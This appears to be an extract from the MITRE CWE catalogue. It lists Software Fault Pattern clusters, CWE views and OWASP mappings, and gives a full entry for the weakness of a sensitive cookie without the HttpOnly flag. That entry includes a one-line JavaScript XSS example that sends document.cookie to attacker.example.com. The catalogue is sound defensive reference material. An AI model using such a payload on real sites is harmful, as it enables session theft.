This category identifies Software Fault Patterns (SFPs) within the Missing Lock cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	894	SFP Primary Cluster: Synchronization	**888**	1329
ParentOf	B	*364*	*Signal Handler Race Condition*	***888***	*636*
ParentOf	B	*365*	*Race Condition in Switch*	***888***	*640*
ParentOf	B	*366*	*Race Condition within a Thread*	***888***	*641*
ParentOf	B	*368*	*Context Switching Race Condition*	***888***	*647*
ParentOf	B	*413*	*Improper Resource Locking*	***888***	*714*
ParentOf	B	*414*	*Missing Lock Check*	***888***	*717*
ParentOf	V	*543*	*Use of Singleton Pattern Without Synchronization in a Multithreaded Context*	***888***	*885*
ParentOf	B	*567*	*Unsynchronized Access to Shared Data in a Multithreaded Context*	***888***	*906*
ParentOf	B	*609*	*Double-Checked Locking*	***888***	*957*
ParentOf	B	*662*	*Improper Synchronization*	***888***	*1026*
ParentOf	B	*663*	*Use of a Non-reentrant Function in a Concurrent Context*	***888***	*1027*
ParentOf	B	*667*	*Improper Locking*	***888***	*1034*

CWE-987: SFP Secondary Cluster: Multiple Locks/Unlocks

Category ID: 987 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Multiple Locks/Unlocks cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	894	SFP Primary Cluster: Synchronization	**888**	1329
ParentOf	V	*585*	*Empty Synchronized Block*	***888***	*927*
ParentOf	V	*764*	*Multiple Locks of a Critical Resource*	***888***	*1171*
ParentOf	V	*765*	*Multiple Unlocks of a Critical Resource*	***888***	*1172*

CWE-988: SFP Secondary Cluster: Race Condition Window

Category ID: 988 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Race Condition Window cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	894	SFP Primary Cluster: Synchronization	**888**	1329

Nature	Type	ID	Name	V	Page
ParentOf	C	*362*	*Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')*	***888***	*628*
ParentOf	B	*363*	*Race Condition Enabling Link Following*	***888***	*635*
ParentOf	B	*367*	*Time-of-check Time-of-use (TOCTOU) Race Condition*	***888***	*643*
ParentOf	B	*370*	*Missing Check for Certificate Revocation after Initial Check*	***888***	*650*
ParentOf	C	*638*	*Not Using Complete Mediation*	***888***	*988*

CWE-989: SFP Secondary Cluster: Unrestricted Lock

Category ID: 989 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Unrestricted Lock cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	894	SFP Primary Cluster: Synchronization	**888**	1329
ParentOf	B	*412*	*Unrestricted Externally Accessible Lock*	***888***	*712*

CWE-990: SFP Secondary Cluster: Tainted Input to Command

Category ID: 990 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Command cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	896	SFP Primary Cluster: Tainted Input	**888**	1330
ParentOf	C	*74*	*Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')*	***888***	*113*
ParentOf	C	*75*	*Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)*	***888***	*116*
ParentOf	B	*76*	*Improper Neutralization of Equivalent Special Elements*	***888***	*116*
ParentOf	C	*77*	*Improper Neutralization of Special Elements used in a Command ('Command Injection')*	***888***	*117*
ParentOf	B	*78*	*Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')*	***888***	*121*
ParentOf	B	*79*	*Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')*	***888***	*131*
ParentOf	V	*80*	*Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)*	***888***	*142*
ParentOf	V	*81*	*Improper Neutralization of Script in an Error Message Web Page*	***888***	*144*
ParentOf	V	*82*	*Improper Neutralization of Script in Attributes of IMG Tags in a Web Page*	***888***	*146*
ParentOf	V	*83*	*Improper Neutralization of Script in Attributes in a Web Page*	***888***	*147*
ParentOf	V	*84*	*Improper Neutralization of Encoded URI Schemes in a Web Page*	***888***	*149*
ParentOf	V	*85*	*Doubled Character XSS Manipulations*	***888***	*151*
ParentOf	V	*86*	*Improper Neutralization of Invalid Characters in Identifiers in Web Pages*	***888***	*152*
ParentOf	V	*87*	*Improper Neutralization of Alternate XSS Syntax*	***888***	*153*
ParentOf	B	*88*	*Argument Injection or Modification*	***888***	*155*

Nature	Type	ID	Name	V	Page
ParentOf	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	888	159
ParentOf	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	888	168
ParentOf	B	91	XML Injection (aka Blind XPath Injection)	888	170
ParentOf	B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	888	172
ParentOf	B	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')	888	177
ParentOf	B	96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')	888	181
ParentOf	V	97	Improper Neutralization of Server-Side Includes (SSI) Within a Web Page	888	183

CWE-991: SFP Secondary Cluster: Tainted Input to Environment

Category ID: 991 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Environment cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	896	SFP Primary Cluster: Tainted Input	**888**	1330
ParentOf	C	*94*	*Improper Control of Generation of Code ('Code Injection')*	***888***	*173*
ParentOf	B	*114*	*Process Control*	***888***	*215*
ParentOf	B	*427*	*Uncontrolled Search Path Element*	***888***	*735*
ParentOf	B	*470*	*Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')*	***888***	*791*
ParentOf	B	*471*	*Modification of Assumed-Immutable Data (MAID)*	***888***	*793*
ParentOf	B	*472*	*External Control of Assumed-Immutable Web Parameter*	***888***	*795*
ParentOf	V	*473*	*PHP External Variable Modification*	***888***	*798*
ParentOf	B	*494*	*Download of Code Without Integrity Check*	***888***	*837*

Nature	Type	ID	Name	V	Page
ParentOf	V	*622*	*Improper Validation of Function Hook Arguments*	***888***	*972*
ParentOf	C	*673*	*External Influence of Sphere Definition*	***888***	*1043*

CWE-992: SFP Secondary Cluster: Faulty Input Transformation

Category ID: 992 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Input Transformation cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	896	SFP Primary Cluster: Tainted Input	**888**	1330
ParentOf	C	*116*	*Improper Encoding or Escaping of Output*	***888***	*217*
ParentOf	B	*166*	*Improper Handling of Missing Special Element*	***888***	*324*
ParentOf	B	*167*	*Improper Handling of Additional Special Element*	***888***	*325*
ParentOf	B	*168*	*Improper Handling of Inconsistent Special Elements*	***888***	*326*
ParentOf	C	*172*	*Encoding Error*	***888***	*333*
ParentOf	V	*173*	*Improper Handling of Alternate Encoding*	***888***	*335*
ParentOf	V	*174*	*Double Decoding of the Same Data*	***888***	*336*
ParentOf	V	*175*	*Improper Handling of Mixed Encoding*	***888***	*338*
ParentOf	V	*176*	*Improper Handling of Unicode Encoding*	***888***	*339*
ParentOf	V	*177*	*Improper Handling of URL Encoding (Hex Encoding)*	***888***	*341*
ParentOf	B	*178*	*Improper Handling of Case Sensitivity*	***888***	*343*
ParentOf	B	*179*	*Incorrect Behavior Order: Early Validation*	***888***	*345*
ParentOf	B	*180*	*Incorrect Behavior Order: Validate Before Canonicalize*	***888***	*347*
ParentOf	B	*181*	*Incorrect Behavior Order: Validate Before Filter*	***888***	*349*
ParentOf	B	*182*	*Collapse of Data into Unsafe Value*	***888***	*350*

CWE-993: SFP Secondary Cluster: Incorrect Input Handling

Category ID: 993 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Incorrect Input Handling cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	896	SFP Primary Cluster: Tainted Input	**888**	1330
ParentOf	B	*198*	*Use of Incorrect Byte Ordering*	***888***	*383*
ParentOf	C	*228*	*Improper Handling of Syntactically Invalid Structure*	***888***	*420*
ParentOf	B	*229*	*Improper Handling of Values*	***888***	*422*
ParentOf	V	*230*	*Improper Handling of Missing Values*	***888***	*422*
ParentOf	V	*231*	*Improper Handling of Extra Values*	***888***	*423*
ParentOf	V	*232*	*Improper Handling of Undefined Values*	***888***	*424*
ParentOf	B	*233*	*Improper Handling of Parameters*	***888***	*425*
ParentOf	V	*234*	*Failure to Handle Missing Parameter*	***888***	*426*
ParentOf	V	*235*	*Improper Handling of Extra Parameters*	***888***	*427*
ParentOf	V	*236*	*Improper Handling of Undefined Parameters*	***888***	*428*
ParentOf	B	*237*	*Improper Handling of Structural Elements*	***888***	*429*

Nature	Type	ID	Name	V	Page
ParentOf	V	*238*	*Improper Handling of Incomplete Structural Elements*	*888*	*429*
ParentOf	V	*239*	*Failure to Handle Incomplete Element*	*888*	*430*
ParentOf	V	*240*	*Improper Handling of Inconsistent Structural Elements*	*888*	*430*
ParentOf	B	*241*	*Improper Handling of Unexpected Data Type*	*888*	*431*
ParentOf	B	*351*	*Insufficient Type Distinction*	*888*	*611*
ParentOf	B	*354*	*Improper Validation of Integrity Check Value*	*888*	*619*

CWE-994: SFP Secondary Cluster: Tainted Input to Variable

Category ID: 994 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Variable cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	896	SFP Primary Cluster: Tainted Input	**888**	1330
ParentOf	B	*15*	*External Control of System or Configuration Setting*	*888*	*14*
ParentOf	C	*20*	*Improper Input Validation*	*888*	*18*
ParentOf	B	*454*	*External Initialization of Trusted Variables or Data Stores*	*888*	*769*
ParentOf	V	*496*	*Public Data Assigned to Private Array-Typed Field*	*888*	*841*
ParentOf	V	*502*	*Deserialization of Untrusted Data*	*888*	*849*
ParentOf	V	*566*	*Authorization Bypass Through User-Controlled SQL Primary Key*	*888*	*905*
ParentOf	B	*606*	*Unchecked Input for Loop Condition*	*888*	*954*
ParentOf	V	*616*	*Incomplete Identification of Uploaded File Variables (PHP)*	*888*	*965*

CWE-995: SFP Secondary Cluster: Feature

Category ID: 995 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Feature cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	906	SFP Primary Cluster: UI	**888**	1333
ParentOf	B	*447*	*Unimplemented or Unsupported Feature in UI*	*888*	*762*
ParentOf	B	*448*	*Obsolete Feature in UI*	*888*	*763*
ParentOf	B	*449*	*The UI Performs the Wrong Action*	*888*	*763*
ParentOf	B	*450*	*Multiple Interpretations of UI Input*	*888*	*764*
ParentOf	B	*451*	*User Interface (UI) Misrepresentation of Critical Information*	*888*	*765*
ParentOf	V	*549*	*Missing Password Field Masking*	*888*	*890*
ParentOf	B	*655*	*Insufficient Psychological Acceptability*	*888*	*1016*

CWE-996: SFP Secondary Cluster: Security

Category ID: 996 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Security cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	906	SFP Primary Cluster: UI	888	1333
ParentOf	B	356	Product UI does not Warn User of Unsafe Actions	888	621
ParentOf	B	357	Insufficient UI Warning of Dangerous Operations	888	622
ParentOf	B	446	UI Discrepancy for Security Feature	888	761

CWE-997: SFP Secondary Cluster: Information Loss

Category ID: 997 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Information Loss cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	906	SFP Primary Cluster: UI	888	1333
ParentOf	C	221	Information Loss or Omission	888	414
ParentOf	B	222	Truncation of Security-relevant Information	888	414
ParentOf	B	223	Omission of Security-relevant Information	888	415
ParentOf	B	224	Obscured Security-relevant Information by Alternate Name	888	416

CWE-998: SFP Secondary Cluster: Glitch in Computation

Category ID: 998 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Glitch in Computation cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	885	SFP Primary Cluster: Risky Values	888	1327
ParentOf	B	128	Wrap-around Error	888	256
ParentOf	B	190	Integer Overflow or Wraparound	888	361
ParentOf	B	191	Integer Underflow (Wrap or Wraparound)	888	367
ParentOf	B	194	Unexpected Sign Extension	888	375
ParentOf	V	195	Signed to Unsigned Conversion Error	888	377
ParentOf	V	196	Unsigned to Signed Conversion Error	888	380
ParentOf	B	197	Numeric Truncation Error	888	381
ParentOf	B	369	Divide By Zero	888	648
ParentOf	B	456	Missing Initialization of a Variable	888	772
ParentOf	V	457	Use of Uninitialized Variable	888	774
ParentOf	B	466	Return of Pointer Value Outside of Expected Range	888	785
ParentOf	B	468	Incorrect Pointer Scaling	888	788
ParentOf	B	475	Undefined Behavior for Input to API	888	799
ParentOf	V	481	Assigning instead of Comparing	888	813
ParentOf	V	486	Comparison of Classes by Name	888	822
ParentOf	B	562	Return of Stack Variable Address	888	900
ParentOf	V	570	Expression is Always False	888	908

ParentOf	V	579	J2EE Bad Practices: Non-serializable Object Stored in Session	888	922
ParentOf	B	587	Assignment of a Fixed Address to a Pointer	888	929
ParentOf	V	594	J2EE Framework: Saving Unserializable Objects to Disk	888	936
ParentOf	V	597	Use of Wrong Operator in String Comparison	888	940
ParentOf	B	628	Function Call with Incorrectly Specified Arguments	888	979

Nature	Type	ID	Name	V	Page
ParentOf	B	*681*	*Incorrect Conversion between Numeric Types*	***888***	*1060*
ParentOf	V	*683*	*Function Call With Incorrect Order of Arguments*	***888***	*1066*
ParentOf	V	*685*	*Function Call With Incorrect Number of Arguments*	***888***	*1068*
ParentOf	V	*686*	*Function Call With Incorrect Argument Type*	***888***	*1069*
ParentOf	V	*687*	*Function Call With Incorrectly Specified Argument Value*	***888***	*1070*
ParentOf	V	*688*	*Function Call With Incorrect Variable or Reference as Argument*	***888***	*1071*
ParentOf	C	*704*	*Incorrect Type Conversion or Cast*	***888***	*1107*
ParentOf	V	*768*	*Incorrect Short Circuit Evaluation*	***888***	*1176*

CWE-999: Weaknesses without Software Fault Patterns

View ID: 999 *(View: Implicit Slice)* **Status:** Incomplete

Objective

CWE identifiers in this view are weaknesses that do not have associated Software Fault Patterns (SFPs), as covered by the CWE-888 view. As such, they represent gaps in coverage by the current software fault pattern model.

View Data

Filter Used:

.[contains(name(), 'Weakness')][not(.//Taxonomy_Mapping/@Mapped_Taxonomy_Name='Software Fault Patterns')]

V	56	Path Equivalence: 'filedir*' (Wildcard)
V	57	Path Equivalence: 'fakedir/../realdir/filename'
V	58	Path Equivalence: Windows 8.3 Filename
B	59	Improper Link Resolution Before File Access ('Link Following')
V	62	UNIX Hard Link
V	64	Windows Shortcut Following (.LNK)
V	65	Windows Hard Link
B	66	Improper Handling of File Names that Identify Virtual Resources
V	67	Improper Handling of Windows Device Names
V	69	Improper Handling of Windows ::DATA Alternate Data Stream
V	71	Apple '.DS_Store'
V	72	Improper Handling of Apple HFS+ Alternate Data Stream Path
C	73	External Control of File Name or Path
C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
C	75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)
B	76	Improper Neutralization of Equivalent Special Elements
C	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')
B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
V	80	Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
V	81	Improper Neutralization of Script in an Error Message Web Page
V	82	Improper Neutralization of Script in Attributes of IMG Tags in a Web Page
V	83	Improper Neutralization of Script in Attributes in a Web Page
V	84	Improper Neutralization of Encoded URI Schemes in a Web Page
V	85	Doubled Character XSS Manipulations
V	86	Improper Neutralization of Invalid Characters in Identifiers in Web Pages

CWE-999: Weaknesses without Software Fault Patterns

Type	ID	Name
V	87	Improper Neutralization of Alternate XSS Syntax
B	88	Argument Injection or Modification
B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')
B	91	XML Injection (aka Blind XPath Injection)
⊘	92	DEPRECATED: Improper Sanitization of Custom Special Characters
B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')
C	94	Improper Control of Generation of Code ('Code Injection')
B	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
B	96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')
V	97	Improper Neutralization of Server-Side Includes (SSI) Within a Web Page
B	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
B	99	Improper Control of Resource Identifiers ('Resource Injection')
V	102	Struts: Duplicate Validation Forms
V	103	Struts: Incomplete validate() Method Definition
V	104	Struts: Form Bean Does Not Extend Validation Class
V	105	Struts: Form Field Without Validator
V	106	Struts: Plug-in Framework not in Use
V	107	Struts: Unused Validation Form
V	108	Struts: Unvalidated Action Form
V	109	Struts: Validator Turned Off
V	110	Struts: Validator Without Form Field
B	111	Direct Use of Unsafe JNI
B	112	Missing XML Validation
B	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')
B	114	Process Control
B	115	Misinterpretation of Input
C	116	Improper Encoding or Escaping of Output
B	117	Improper Output Neutralization for Logs
C	118	Incorrect Access of Indexable Resource ('Range Error')
C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer
B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
V	121	Stack-based Buffer Overflow
V	122	Heap-based Buffer Overflow
B	123	Write-what-where Condition
B	124	Buffer Underwrite ('Buffer Underflow')
B	125	Out-of-bounds Read
V	126	Buffer Over-read
V	127	Buffer Under-read
B	128	Wrap-around Error
B	129	Improper Validation of Array Index
B	130	Improper Handling of Length Parameter Inconsistency
B	131	Incorrect Calculation of Buffer Size
⊘	132	DEPRECATED (Duplicate): Miscalculated Null Termination
B	134	Use of Externally-Controlled Format String
B	135	Incorrect Calculation of Multi-Byte String Length
C	138	Improper Neutralization of Special Elements
B	140	Improper Neutralization of Delimiters
V	141	Improper Neutralization of Parameter/Argument Delimiters

Type	ID	Name
V	142	Improper Neutralization of Value Delimiters
V	143	Improper Neutralization of Record Delimiters
V	144	Improper Neutralization of Line Delimiters
V	145	Improper Neutralization of Section Delimiters
V	146	Improper Neutralization of Expression/Command Delimiters
V	147	Improper Neutralization of Input Terminators
V	148	Improper Neutralization of Input Leaders
V	149	Improper Neutralization of Quoting Syntax
V	150	Improper Neutralization of Escape, Meta, or Control Sequences
V	151	Improper Neutralization of Comment Delimiters
V	152	Improper Neutralization of Macro Symbols
V	153	Improper Neutralization of Substitution Characters
V	154	Improper Neutralization of Variable Name Delimiters
V	155	Improper Neutralization of Wildcards or Matching Symbols
V	156	Improper Neutralization of Whitespace
V	157	Failure to Sanitize Paired Delimiters
V	158	Improper Neutralization of Null Byte or NUL Character
C	159	Failure to Sanitize Special Element
V	160	Improper Neutralization of Leading Special Elements
V	161	Improper Neutralization of Multiple Leading Special Elements
V	162	Improper Neutralization of Trailing Special Elements
V	163	Improper Neutralization of Multiple Trailing Special Elements
V	164	Improper Neutralization of Internal Special Elements
V	165	Improper Neutralization of Multiple Internal Special Elements
B	166	Improper Handling of Missing Special Element
B	167	Improper Handling of Additional Special Element
B	168	Improper Handling of Inconsistent Special Elements
B	170	Improper Null Termination
C	172	Encoding Error
V	173	Improper Handling of Alternate Encoding
V	174	Double Decoding of the Same Data
V	175	Improper Handling of Mixed Encoding
V	176	Improper Handling of Unicode Encoding
V	177	Improper Handling of URL Encoding (Hex Encoding)
B	178	Improper Handling of Case Sensitivity
B	179	Incorrect Behavior Order: Early Validation
B	180	Incorrect Behavior Order: Validate Before Canonicalize
B	181	Incorrect Behavior Order: Validate Before Filter
B	182	Collapse of Data into Unsafe Value
B	183	Permissive Whitelist
B	184	Incomplete Blacklist
C	185	Incorrect Regular Expression
B	186	Overly Restrictive Regular Expression
B	187	Partial Comparison
B	188	Reliance on Data/Memory Layout
B	190	Integer Overflow or Wraparound
B	191	Integer Underflow (Wrap or Wraparound)
B	193	Off-by-one Error
B	194	Unexpected Sign Extension

CWE-1000: Research Concepts

View ID: 1000 *(View: Graph)* **Status:** Draft

Objective

This view is intended to facilitate research into weaknesses, including their inter-dependencies and their role in vulnerabilities. It classifies weaknesses in a way that largely ignores how they can be detected, where they appear in code, and when they are introduced in the software development life-cycle. Instead, it is mainly organized according to abstractions of software behaviors. It uses a deep hierarchical organization, with more levels of abstraction than other classification schemes. The top-level entries are called Pillars.

Where possible, this view uses abstractions that do not consider particular languages, frameworks, technologies, life-cycle development phases, frequency of occurrence, or types of resources. It explicitly identifies relationships that form chains and composites, which have not been a formal part of past classification efforts. Chains and composites might help explain why mutual exclusivity is difficult to achieve within security error taxonomies.

This view is roughly aligned with MITRE's research into vulnerability theory, especially with respect to behaviors and resources. Ideally, this view will only cover weakness-to-weakness relationships, with minimal overlap and very few categories. This view could be useful for academic research, CWE maintenance, and mapping. It can be leveraged to systematically identify theoretical gaps within CWE and, by extension, the general security community.

View Audience

Academic Researchers

This view provides an organizational structure for weaknesses that is different than the approaches undertaken by taxonomies such as Seven Pernicious Kingdoms.

Applied Researchers

Applied researchers could use the higher-level classes and bases to identify potential areas for future research.

Developers

Developers who have fully integrated security into their SDLC might find this view useful in identifying general patterns of issues within code, instead of relying heavily on "badness lists" that only cover the most severe issues.

CWE-1003: Weaknesses for Simplified Mapping of Published Vulnerabilities

View ID: 1003 *(View: Graph)* **Status:** Incomplete

Objective

CWE entries in this view (graph) may be used to categorize potential weaknesses within sources that handle public, third-party vulnerability information, such as NVD. By design, this view is incomplete; it is limited to a small number of the most commonly-seen weaknesses, so that it is easier to use for humans.

This view is most similar to CWE-699 (Development Concepts), although it also has some relationships that are similar to those for CWE-1000 (Research Concepts).

Note: this view is likely to change significantly in the next version.

Maintenance Notes

This view contains many entries that are being considered for use in NVD in 2015. This list is expected to change with contributions from additional sources.

CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag

Weakness ID: 1004 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.

Extended Description

The HttpOnly flag directs compatible browsers to prevent client-side script from accessing cookies. Including the HttpOnly flag in the Set-Cookie HTTP response header helps mitigate the risk associated with Cross-Site Scripting (XSS) where an attacker's script code might attempt to read the contents of a cookie and exfiltrate information obtained. When set, browsers that support the flag will not reveal the contents of the cookie to a third party via client-side script executed via XSS.

Time of Introduction

- Implementation
- Architecture and Design

Applicable Platforms

Languages

- Language-independent

Architectural Paradigms

- Web-based

Technology Classes

- Web-Server

Common Consequences

Confidentiality
Read application data

If the HttpOnly flag is not set, then sensitive information stored in the cookie may be exposed to unintended parties.

Integrity
Gain privileges / assume identity

If the cookie in question is an authentication cookie, then not setting the HttpOnly flag may allow an adversary to steal authentication data (e.g., a session ID) and assume the identity of the user.

Likelihood of Exploit

Medium

Demonstrative Examples

In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.

The snippet of code below establishes a new cookie to hold the sessionID.

Java Example: *Bad Code*

```
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
response.addCookie(c);
```

The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:

Javascript Example: *Attack*

```
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">'
```

When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.

To mitigate the risk, use the setHttpOnly(true) method.

Java Example: *Good Code*

```
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(true);
response.addCookie(c);
```

Observed Examples

Reference	Description
CVE-2014-3852	CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie.
CVE-2015-4138	Appliance for managing encrypted communications does not use HttpOnly flag.

Potential Mitigations

Implementation

High

Leverage the HttpOnly flag when setting a sensitive cookie in a response.

While this mitigation is effective for protecting cookies from a browser's own scripting engine, third-party components or plugins may have their own engines that allow access to cookies.

Attackers might also be able to use XMLHTTPResponse to read the headers directly and obtain the cookie.

Background Details

An HTTP cookie is a small piece of data attributed to a specific website and stored on the user's computer by the user's web browser. This data can be leveraged for a variety of purposes including saving information entered into form fields, recording user activity, and for authentication purposes. Cookies used to save or record information generated by the user are accessed and modified by script code embedded in a web page. While cookies used for authentication are created by the website's server and sent to the user to be attached to future requests. These authentication cookies are often not meant to be accessed by the web page sent to the user, and are instead just supposed to be attached to future requests to verify authentication details.

Relationships

Graph View: CWE-629: Weaknesses in OWASP Top Ten (2007)

- C CWE-712: OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS) *(p. 1114)*
  - B CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *(p. 131)*
- C CWE-713: OWASP Top Ten 2007 Category A2 - Injection Flaws *(p. 1115)*
  - C CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') *(p. 117)*
  - B CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') *(p. 159)*
  - B CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') *(p. 168)*
  - B CWE-91: XML Injection (aka Blind XPath Injection) *(p. 170)*
  - B CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') *(p. 172)*
- C CWE-714: OWASP Top Ten 2007 Category A3 - Malicious File Execution *(p. 1115)*
  - B CWE-434: Unrestricted Upload of File with Dangerous Type *(p. 744)*
  - B CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p. 121)*
  - B CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') *(p. 177)*
  - B CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') *(p. 184)*
- C CWE-715: OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference *(p. 1116)*
  - C CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *(p. 30)*
  - B CWE-472: External Control of Assumed-Immutable Web Parameter *(p. 795)*
  - B CWE-639: Authorization Bypass Through User-Controlled Key *(p. 990)*
- C CWE-716: OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF) *(p. 1116)*
  - CWE-352: Cross-Site Request Forgery (CSRF) *(p. 612)*
    - B CWE-346: Origin Validation Error *(p. 603)*
    - C CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') *(p. 755)*
    - B CWE-613: Insufficient Session Expiration *(p. 962)*
    - C CWE-642: External Control of Critical State Data *(p. 995)*
- C CWE-717: OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling *(p. 1116)*
  - C CWE-200: Information Exposure *(p. 384)*
  - C CWE-203: Information Exposure Through Discrepancy *(p. 390)*
  - B CWE-209: Information Exposure Through an Error Message *(p. 397)*
  - V CWE-215: Information Exposure Through Debug Information *(p. 409)*
- C CWE-718: OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management *(p. 1117)*
  - C CWE-287: Improper Authentication *(p. 508)*
  - V CWE-301: Reflection Attack in an Authentication Protocol *(p. 533)*
  - B CWE-522: Insufficiently Protected Credentials *(p. 865)*
- C CWE-719: OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage *(p. 1117)*
  - B CWE-311: Missing Encryption of Sensitive Data *(p. 549)*
  - B CWE-321: Use of Hard-coded Cryptographic Key *(p. 566)*
  - B CWE-325: Missing Required Cryptographic Step *(p. 571)*
  - C CWE-326: Inadequate Encryption Strength *(p. 573)*
- C CWE-720: OWASP Top Ten 2007 Category A9 - Insecure Communications *(p. 1118)*
  - B CWE-311: Missing Encryption of Sensitive Data *(p. 549)*
  - B CWE-321: Use of Hard-coded Cryptographic Key *(p. 566)*
  - B CWE-325: Missing Required Cryptographic Step *(p. 571)*
  - C CWE-326: Inadequate Encryption Strength *(p. 573)*
- C CWE-721: OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access *(p. 1118)*
  - C CWE-285: Improper Authorization *(p. 502)*
  - B CWE-288: Authentication Bypass Using an Alternate Path or Channel *(p. 513)*

- CWE-425: Direct Request ('Forced Browsing') *(p. 729)*

Graph View: CWE-631: Resource-specific Weaknesses

- CWE-632: Weaknesses that Affect Files or Directories *(p. 983)*
  - CWE-275: Permission Issues *(p. 489)*
  - CWE-376: Temporary File Issues *(p. 656)*
  - CWE-60: UNIX Path Link Problems *(p. 94)*
    - CWE-62: UNIX Hard Link *(p. 96)*
    - CWE-61: UNIX Symbolic Link (Symlink) Following *(p. 95)*
      - CWE-275: Permission Issues *(p. 489)*
      - CWE-216: Containment Errors (Container Errors) *(p. 411)*
      - CWE-340: Predictability Problems *(p. 597)*
      - CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') *(p. 628)*
      - CWE-386: Symbolic Name not Mapping to Correct Object *(p. 668)*
  - CWE-63: Windows Path Link Problems *(p. 98)*
    - CWE-64: Windows Shortcut Following (.LNK) *(p. 98)*
    - CWE-65: Windows Hard Link *(p. 100)*
  - CWE-68: Windows Virtual File Problems *(p. 104)*
    - CWE-67: Improper Handling of Windows Device Names *(p. 103)*
    - CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream *(p. 105)*
  - CWE-70: Mac Virtual File Problems *(p. 106)*
    - CWE-71: Apple '.DS_Store' *(p. 106)*
